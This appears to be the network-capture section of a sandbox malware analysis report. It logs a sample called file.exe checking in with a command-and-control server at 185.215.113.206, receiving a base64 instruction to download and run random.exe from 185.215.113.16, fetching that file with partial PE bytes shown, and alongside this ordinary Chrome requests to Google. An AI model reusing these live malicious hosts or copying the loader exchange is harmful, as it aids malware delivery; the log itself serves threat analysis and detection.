Nov 11, 2024 21:59:28.218766928 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KECFCGHIDHCAKEBFCFHC Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 46 43 47 48 49 44 48 43 41 4b 45 42 46 43 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 31 62 36 35 30 32 39 34 35 35 39 30 37 35 34 62 39 65 64 65 37 61 62 31 38 37 39 39 33 65 30 34 64 34 37 65 31 65 39 62 36 33 31 62 33 35 65 38 63 30 63 35 30 62 34 39 32 62 62 30 37 61 63 63 33 65 66 33 33 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 43 47 48 49 44 48 43 41 4b 45 42 46 43 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 43 47 48 49 44 48 43 41 4b 45 42 46 43 46 48 43 2d 2d 0d 0a Data Ascii: ------KECFCGHIDHCAKEBFCFHCContent-Disposition: form-data; name="token"321b6502945590754b9ede7ab187993e04d47e1e9b631b35e8c0c50b492bb07acc3ef334------KECFCGHIDHCAKEBFCFHCContent-Disposition: form-data; name="message"ybncbhylepme------KECFCGHIDHCAKEBFCFHC--
Nov 11, 2024 21:59:28.423573971 CET	271	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 11, 2024 21:59:30.484566927 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJEHJKJEBGHJJKEBGIE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 31 62 36 35 30 32 39 34 35 35 39 30 37 35 34 62 39 65 64 65 37 61 62 31 38 37 39 39 33 65 30 34 64 34 37 65 31 65 39 62 36 33 31 62 33 35 65 38 63 30 63 35 30 62 34 39 32 62 62 30 37 61 63 63 33 65 66 33 33 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 2d 2d 0d 0a Data Ascii: ------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="token"321b6502945590754b9ede7ab187993e04d47e1e9b631b35e8c0c50b492bb07acc3ef334------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JKJEHJKJEBGHJJKEBGIE--
Nov 11, 2024 21:59:31.186398029 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	58846	185.215.113.16	80	6196	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 21:59:28.438849926 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 11, 2024 21:59:29.076658010 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 20:59:28 GMT Content-Type: application/octet-stream Content-Length: 3330048 Last-Modified: Mon, 11 Nov 2024 20:47:42 GMT Connection: keep-alive ETag: "67326d6e-32d000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 e0 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf2@3gR3@Wk$22 @.rsrc@.idata @zkpqwmrk ,,@gfzteylm22@.taggant02"2@
Nov 11, 2024 21:59:29.076718092 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 21:59:29.076731920 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 21:59:29.076750040 CET	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 21:59:29.076761007 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 21:59:29.076792002 CET	1236	IN	Data Raw: ea 1e 2a 40 bd 9c 29 98 56 9d 5e 5c ea 44 26 c0 41 5f e5 97 b6 96 40 d2 2d c2 1b bb 2e da 01 08 eb 1e 2a 40 9d 9c 29 98 56 9d 5e 5c ea 44 26 c0 39 5f e5 97 b6 06 5a d2 2d c2 7b bc 2e da 01 a8 e7 1e 2a 40 7d 9c 29 98 56 9d 5e 5c ea 44 26 c0 71 5f Data Ascii: @)V^\D&A_@-.@)V^\D&9_Z-{.@})V^\D&q_X-[.@])V^\D&i_nY-.h@=)V^\D&a_?-.@)V^\D&Y_6W-.(@)V^\D&_.;-.H@)V^\D&_
Nov 11, 2024 21:59:29.076807976 CET	224	IN	Data Raw: b6 6e 3c d2 2d c2 db bf 2e da 01 48 d5 1e 2a 40 dd 97 29 98 56 9d 5e 5c ea 44 3a c0 c1 60 e5 97 b6 72 55 d2 2d c2 3b c0 2e da 01 e8 d9 1e 2a 40 bd 97 29 98 56 9d 5e 5c ea 44 3a c0 e5 60 e5 97 b6 3e 3c d2 2d c2 1b c0 2e da 01 08 da 1e 2a 40 9d 97 Data Ascii: n<-.H@)V^\D:`rU-;.@)V^\D:`><-.@)V^\D.`U-{.@})V^\D:`=-[.@])V^\D6a.>-.h@=)V^\D"EaW-.*@)V^\D6Aa
Nov 11, 2024 21:59:29.076821089 CET	1236	IN	Data Raw: b6 a6 3b d2 2d c2 fb b0 2e da 01 28 d8 1e 2a 40 fd 96 29 98 56 9d 5e 5c ea 44 22 c0 69 61 e5 97 b6 7a 54 d2 2d c2 db b0 2e da 01 48 d8 1e 2a 40 dd 96 29 98 56 9d 5e 5c ea 44 36 c0 55 61 e5 97 b6 86 56 d2 2d c2 3b b1 2e da 01 e8 d8 1e 2a 40 bd 96 Data Ascii: ;-.(@)V^\D"iazT-.H@)V^\D6UaV-;.@)V^\D:}a@-.@)V^\D&a6=-{.@})V^\D2aF;-[.@])V^\D:a>-.h@=)V^\D"a<-.@)
Nov 11, 2024 21:59:29.076833010 CET	1236	IN	Data Raw: 56 9d 5e 5c ea 44 3a c0 c1 65 e5 97 b6 f6 58 d2 2d c2 9b b6 2e da 01 88 0a 1e 2a 40 1d 92 29 98 56 9d 5e 5c ea 44 26 c0 e5 65 e5 97 b6 66 57 d2 2d c2 fb b5 2e da 01 28 0b 1e 2a 40 fd 91 29 98 56 9d 5e 5c ea 44 26 c0 dd 65 e5 97 b6 86 3f d2 2d c2 Data Ascii: V^\D:eX-.@)V^\D&efW-.(@)V^\D&e?-.H@)V^\D:en?-;.@)V^\D&eFX-.@)V^\D2e^X-{.@})V^\DJf~W-[.*@])V^\DAf=-
Nov 11, 2024 21:59:29.076844931 CET	424	IN	Data Raw: f9 65 f5 9f aa 1f 96 e2 a4 cb a1 e3 01 67 dc 93 ef 1f 92 97 5e e9 f2 57 f1 e0 b5 93 72 da f9 b1 28 b0 29 40 96 ef 26 98 a4 27 8e 15 f2 e2 9e 52 3d a7 ec 3f e4 86 29 98 a4 bf ed 55 32 da 5d 5c ea 2f 9f 3c 60 65 99 99 60 9a 9d d2 31 2a 63 92 a1 df Data Ascii: eg^Wr()@&'R=?)U2]\/<`e`1*cs"?Z&"8U2]\gr?&V^\^\^\^\e-_arg\/<`epb],T2.N)0)RX7h-W&Qosb^\^\+
Nov 11, 2024 21:59:29.081692934 CET	1236	IN	Data Raw: 05 42 34 95 2d a6 5e 5c ea 2f 9f 3c 60 65 99 99 60 9a 9d d2 31 2a 63 92 a1 df e4 97 8f e9 73 98 a4 1f 22 15 ee de f9 3f 0a ed 26 98 ac 9e 22 51 30 4e 24 d3 2d 65 64 ea 5a 9c 26 98 e9 a6 5e 5c ea a6 5e 5c ea a6 5e 5c ea 2f 9f 3c 60 65 99 99 60 9a Data Ascii: B4-^\/<`e`1cs"?&"Q0N$-edZ&^\^\^\/<`e`1cs"?&"Q0%-edZ&^\^\^\0G &"e$IWx&e$9H^\^\jV2]\^\^\/<!<eg^W

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49710	142.250.185.100	443	6656	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:05 UTC	623	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-11 20:59:05 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:05 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-C3b-gmKaDy2kr2IF3SYVBQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-11 20:59:05 UTC	112	IN	Data Raw: 32 66 66 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 63 72 79 70 74 6f 63 75 72 72 65 6e 63 79 20 64 6f 67 65 63 6f 69 6e 22 2c 22 31 39 32 33 20 79 65 6c 6c 6f 77 73 74 6f 6e 65 20 72 65 6c 65 61 73 65 20 64 61 74 65 22 2c 22 61 70 20 74 6f 70 20 32 35 20 63 6f 6c 6c 65 67 65 20 66 6f 6f 74 62 61 6c 6c 22 2c 22 72 65 6c 65 61 73 65 20 64 Data Ascii: 2ff)]}'["",["cryptocurrency dogecoin","1923 yellowstone release date","ap top 25 college football","release d
2024-11-11 20:59:05 UTC	662	IN	Data Raw: 61 74 65 20 67 74 61 20 36 22 2c 22 73 70 61 63 65 78 20 72 6f 63 6b 65 74 20 6c 61 75 6e 63 68 22 2c 22 6e 61 74 69 6f 6e 61 6c 20 68 75 72 72 69 63 61 6e 65 20 63 65 6e 74 65 72 22 2c 22 73 75 70 65 72 20 6d 69 63 72 6f 20 63 6f 6d 70 75 74 65 72 20 73 74 6f 63 6b 22 2c 22 64 69 73 63 6c 61 69 6d 65 72 20 66 69 6e 61 6c 65 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f Data Ascii: ate gta 6","spacex rocket launch","national hurricane center","super micro computer stock","disclaimer finale"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","go
2024-11-11 20:59:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49709	142.250.185.100	443	6656	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:05 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-11 20:59:05 UTC	1042	IN	HTTP/1.1 200 OK Version: 693618659 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 11 Nov 2024 20:59:05 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-11 20:59:05 UTC	336	IN	Data Raw: 31 30 39 64 0d 0a 29 5d 7d 27 0a 7b 22 64 64 6c 6a 73 6f 6e 22 3a 7b 22 61 63 63 65 73 73 69 62 69 6c 69 74 79 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 22 2c 22 61 6c 74 5f 74 65 78 74 22 3a 22 56 65 74 65 72 61 6e 73 20 44 61 79 20 32 30 32 34 22 2c 22 64 61 72 6b 5f 64 61 74 61 5f 75 72 69 22 3a 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 44 49 43 41 4d 41 41 41 41 70 78 2b 50 61 41 41 41 43 2f 56 42 4d 56 45 56 48 63 45 7a 68 31 74 4b 54 73 63 72 56 31 64 62 43 79 39 57 77 77 63 37 4f 30 64 50 4c 44 68 6d 30 77 38 2f 41 79 74 4f 57 73 73 75 58 72 63 4b 6a 76 74 47 56 73 73 75 6e 76 73 37 58 30 73 2f 59 7a 63 47 55 73 4d 61 54 6f 37 48 Data Ascii: 109d)]}'{"ddljson":{"accessibility_description":"","alt_text":"Veterans Day 2024","dark_data_uri":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAADICAMAAAApx+PaAAAC/VBMVEVHcEzh1tKTscrV1dbCy9Wwwc7O0dPLDhm0w8/AytOWssuXrcKjvtGVssunvs7X0s/YzcGUsMaTo7H
2024-11-11 20:59:05 UTC	1378	IN	Data Raw: 77 4d 75 7a 77 38 39 61 64 48 39 7a 68 70 44 4f 77 72 52 78 62 33 64 33 6b 36 78 2f 6e 62 70 62 65 49 68 51 62 49 47 6a 54 54 6e 58 36 66 6d 59 73 38 78 6f 69 71 6d 58 73 38 74 72 69 71 6e 51 75 37 48 59 7a 72 2f 5a 31 38 37 59 79 37 76 56 31 63 33 58 78 62 61 62 74 4d 79 6a 75 73 37 58 79 62 68 5a 63 33 33 5a 31 73 6e 59 79 37 37 53 76 72 54 55 77 72 62 4c 30 74 53 31 78 64 4c 61 7a 73 54 56 31 74 50 56 32 64 71 34 78 39 50 49 7a 73 33 59 32 4e 4c 43 7a 4e 43 75 77 64 48 47 7a 39 54 57 76 71 36 38 79 64 50 51 31 4e 4b 39 79 63 36 79 77 39 47 36 78 4d 76 50 31 74 6e 54 77 4c 47 77 75 38 4f 35 77 63 61 31 77 38 7a 45 77 4c 72 50 30 73 7a 4b 76 37 61 38 76 62 75 71 76 74 44 59 77 72 4c 43 79 73 75 34 78 73 2f 53 75 71 37 41 7a 64 57 74 76 73 75 32 75 72 2b Data Ascii: wMuzw89adH9zhpDOwrRxb3d3k6x/nbpbeIhQbIGjTTnX6fmYs8xoiqmXs8triqnQu7HYzr/Z187Yy7vV1c3XxbabtMyjus7XybhZc33Z1snYy77SvrTUwrbL0tS1xdLazsTV1tPV2dq4x9PIzs3Y2NLCzNCuwdHGz9TWvq68ydPQ1NK9yc6yw9G6xMvP1tnTwLGwu8O5wca1w8zEwLrP0szKv7a8vbuqvtDYwrLCysu4xs/Suq7AzdWtvsu2ur+
2024-11-11 20:59:05 UTC	1378	IN	Data Raw: 33 4c 73 45 33 54 31 4c 70 64 64 44 6b 49 72 55 36 4f 30 37 65 65 43 50 6d 70 75 59 38 2f 43 49 43 66 39 61 6b 76 2f 68 73 5a 71 49 2f 38 54 7a 45 2b 50 44 4b 35 75 4c 41 4d 65 4b 32 75 59 52 69 6d 62 5a 73 57 63 71 59 30 6a 64 59 73 54 61 4e 61 57 72 66 56 61 6c 45 65 58 2f 53 33 64 30 50 55 67 67 38 63 33 38 2b 39 2f 78 37 79 5a 39 33 39 36 46 37 38 73 75 30 48 36 50 49 50 4c 4f 74 6a 49 35 4f 7a 43 31 4f 6d 53 64 47 32 4b 4e 41 43 4c 43 59 79 68 7a 51 58 4e 4e 4f 30 61 4a 4e 79 33 51 32 43 74 63 66 59 48 6e 61 50 75 6c 76 70 31 2f 72 4f 37 4b 50 39 58 5a 57 67 70 71 37 49 43 32 31 66 75 79 44 4c 63 73 4d 5a 2b 67 47 38 35 39 62 47 67 61 70 70 30 70 54 49 69 36 4c 41 52 77 53 41 62 67 75 69 62 56 43 6d 59 55 4b 38 76 32 31 52 4c 55 39 41 33 67 50 65 47 Data Ascii: 3LsE3T1LpddDkIrU6O07eeCPmpuY8/CICf9akv/hsZqI/8TzE+PDK5uLAMeK2uYRimbZsWcqY0jdYsTaNaWrfValEeX/S3d0PUgg8c38+9/x7yZ9396F78su0H6PIPLOtjI5OzC1OmSdG2KNACLCYyhzQXNNO0aJNy3Q2CtcfYHnaPulvp1/rO7KP9XZWgpq7IC21fuyDLcsMZ+gG859bGgapp0pTIi6LARwSAbguibVCmYUK8v21RLU9A3gPeG
2024-11-11 20:59:05 UTC	1169	IN	Data Raw: 7a 43 34 73 30 78 35 76 47 6a 55 31 4e 41 6a 51 32 2b 31 50 59 76 69 6f 52 59 5a 46 33 37 30 38 67 6d 78 58 69 30 48 46 69 52 32 70 6b 4f 2b 4b 37 4c 6a 51 58 62 38 54 30 41 4b 63 74 41 44 52 6a 67 39 59 38 4b 74 67 6f 77 6b 49 62 2f 68 67 4f 57 69 31 69 4f 75 39 2b 5a 78 63 55 62 33 41 65 33 55 62 34 33 31 30 37 4f 37 43 45 73 73 54 35 67 51 34 4c 41 4d 53 37 6d 4f 66 58 66 72 61 65 55 65 57 6e 59 72 69 36 48 49 30 42 66 58 63 69 63 52 55 4a 64 70 75 4a 78 78 46 62 35 79 45 67 43 68 43 78 77 6b 64 32 7a 66 63 67 69 50 66 54 54 51 34 5a 37 75 4f 5a 31 68 6b 62 52 4c 6d 4e 6c 79 75 6f 53 4e 6f 2f 49 44 49 35 64 30 4b 54 7a 36 33 73 5a 45 62 75 37 75 34 74 4d 77 77 74 6b 63 63 68 50 55 4c 77 33 30 77 72 48 34 5a 39 35 33 74 37 37 54 33 54 32 6c 52 6c 32 55 Data Ascii: zC4s0x5vGjU1NAjQ2+1PYvioRYZF3708gmxXi0HFiR2pkO+K7LjQXb8T0AKctADRjg9Y8KtgowkIb/hgOWi1iOu9+ZxcUb3Ae3Ub43107O7CEssT5gQ4LAMS7mOfXfraeUeWnYri6HI0BfXcicRUJdpuJxxFb5yEgChCxwkd2zfcgiPfTTQ4Z7uOZ1hkbRLmNlyuoSNo/IDI5d0KTz63sZEbu7u4tMwwtkcchPULw30wrH4Z953t77T3T2lRl2U
2024-11-11 20:59:05 UTC	168	IN	Data Raw: 61 32 0d 0a 6f 44 51 31 46 61 56 32 72 61 57 6e 6f 64 71 4a 65 37 6c 34 37 66 33 30 2f 38 34 47 69 44 68 2b 52 73 79 48 77 4e 54 4b 50 52 73 48 6f 44 42 4d 43 37 50 79 56 30 33 6b 41 44 67 65 39 4d 42 44 49 50 31 37 6b 4f 63 6b 77 44 45 45 67 69 63 30 49 6f 59 32 73 38 79 53 72 77 38 43 6d 51 4c 61 37 52 56 35 58 48 50 6d 62 6a 55 54 38 49 4c 72 2b 71 4a 6c 76 6c 75 55 54 78 78 52 34 37 6d 46 2b 35 79 68 54 53 79 62 50 6b 2b 65 64 36 6e 6d 6d 56 44 39 2f 58 54 2b 76 6c 70 4b 50 66 31 39 34 2f 0d 0a Data Ascii: a2oDQ1FaV2raWnodqJe7l47f30/84GiDh+RsyHwNTKPRsHoDBMC7PyV03kADge9MBDIP17kOckwDEEgic0IoY2s8ySrw8CmQLa7RV5XHPmbjUT8ILr+qJlvluUTxxR47mF+5yhTSybPk+ed6nmmVD9/XT+vlpKPf194/
2024-11-11 20:59:05 UTC	1378	IN	Data Raw: 35 34 38 66 0d 0a 4a 55 41 30 4c 73 61 31 65 31 53 6d 6d 5a 31 6b 62 6d 47 62 72 38 70 62 36 4c 7a 78 76 6a 4a 44 39 47 33 7a 55 31 52 46 47 2b 44 73 66 32 4d 33 78 38 49 42 4b 4a 2b 66 34 6a 31 2b 31 6d 62 76 34 5a 4f 32 36 6a 6c 73 55 48 59 6c 5a 6b 31 44 4f 6d 35 5a 47 7a 61 68 69 55 39 44 30 66 45 58 54 48 37 7a 58 65 79 72 69 68 6c 76 75 7a 6f 4b 49 52 2b 49 75 50 34 6c 76 33 37 74 77 2f 58 41 37 6d 59 31 4b 53 56 68 69 71 49 44 77 72 78 59 71 47 55 50 4d 77 63 31 71 72 56 54 76 31 56 70 6e 37 34 73 6c 35 39 63 2f 7a 34 71 32 65 50 58 37 79 30 4b 42 4f 59 45 36 76 6a 32 64 49 38 38 4c 31 79 68 7a 68 76 71 69 4f 61 65 63 2b 5a 50 6a 4e 2f 68 32 77 72 73 43 41 6d 47 6f 52 36 76 67 37 51 51 79 68 67 6a 75 34 6e 48 72 65 4a 36 51 64 68 4b 32 35 79 79 52 Data Ascii: 548fJUA0Lsa1e1SmmZ1kbmGbr8pb6LzxvjJD9G3zU1RFG+Dsf2M3x8IBKJ+f4j1+1mbv4ZO26jlsUHYlZk1DOm5ZGzahiU9D0fEXTH7zXeyrihlvuzoKIR+IuP4lv37tw/XA7mY1KSVhiqIDwrxYqGUPMwc1qrVTv1Vpn74sl59c/z4q2ePX7y0KBOYE6vj2dI88L1yhzhvqiOaec+ZPjN/h2wrsCAmGoR6vg7QQyhgju4nHreJ6QdhK25yyR
